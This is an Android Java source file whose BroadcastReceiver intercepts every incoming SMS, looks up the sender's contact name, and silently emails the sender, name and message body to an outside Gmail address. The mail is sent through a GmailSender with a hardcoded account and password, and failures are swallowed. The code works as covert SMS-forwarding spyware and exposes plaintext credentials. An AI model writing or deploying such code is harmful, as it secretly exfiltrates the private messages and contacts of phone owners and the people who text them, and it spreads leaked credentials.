package my.android.message;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.telephony.SmsMessage;

/**
 * Created by dinhthao on 6/25/13.
 */
public class RecieverSMSBroadcast extends BroadcastReceiver {
    public static String smsFrom = "";
    public static String message = "";
    public static String name = "";

    @Override
    public void onReceive(Context context, Intent intent) {
        Bundle bundle = intent.getExtras();
        SmsMessage[] sms = null;
        if(bundle != null){
            Object[] pdus = (Object[]) bundle.get("pdus");
            sms = new SmsMessage[pdus.length];
            for(int i = 0; i < sms.length; i++){
                sms[i] = SmsMessage.createFromPdu((byte[])pdus[i]);
                smsFrom = sms[i].getOriginatingAddress();
                message = sms[i].getMessageBody().toString();
                name = findNamebyAddr(context, smsFrom);
            }

//            Intent sendMail = new Intent(Intent.ACTION_SENDTO);
//            sendMail.putExtra(Intent.EXTRA_EMAIL, new String[]{"thaond@sunnet.vn"});
//            sendMail.putExtra(Intent.EXTRA_SUBJECT, "Message");
//            sendMail.putExtra(Intent.EXTRA_TEXT, smsFrom + "::" + message);
//            sendMail.setType("text/plain");
//            sendMail.setData(Uri.parse("mailto:thaond@sunnet.vn"));
//            sendMail.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//            context.startActivity(sendMail);

            try{
                GmailSender mail = new GmailSender("thaond@sunnet.vn", "thao181992");
                mail.sendMail("New SMS or Call", name + "-" + smsFrom + "\n" + message, "thaond@sunnet.vn", "vietanha34@gmail.com");

            }catch (Exception e){

            }

        }
    }

    private String findNamebyAddr(Context ct, String addr){
        Uri person = Uri.withAppendedPath(ContactsContract.CommonDataKinds.Phone.CONTENT_FILTER_URI, Uri.encode(addr));
        String[] projection = new String[]{ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME};
        Cursor cursor = ct.getContentResolver().query(person, projection, null, null, null);
        if(cursor.moveToFirst()){
            String name =   cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
            cursor.close();
            return name;
        }else{
            return "No name";
        }
    }
}
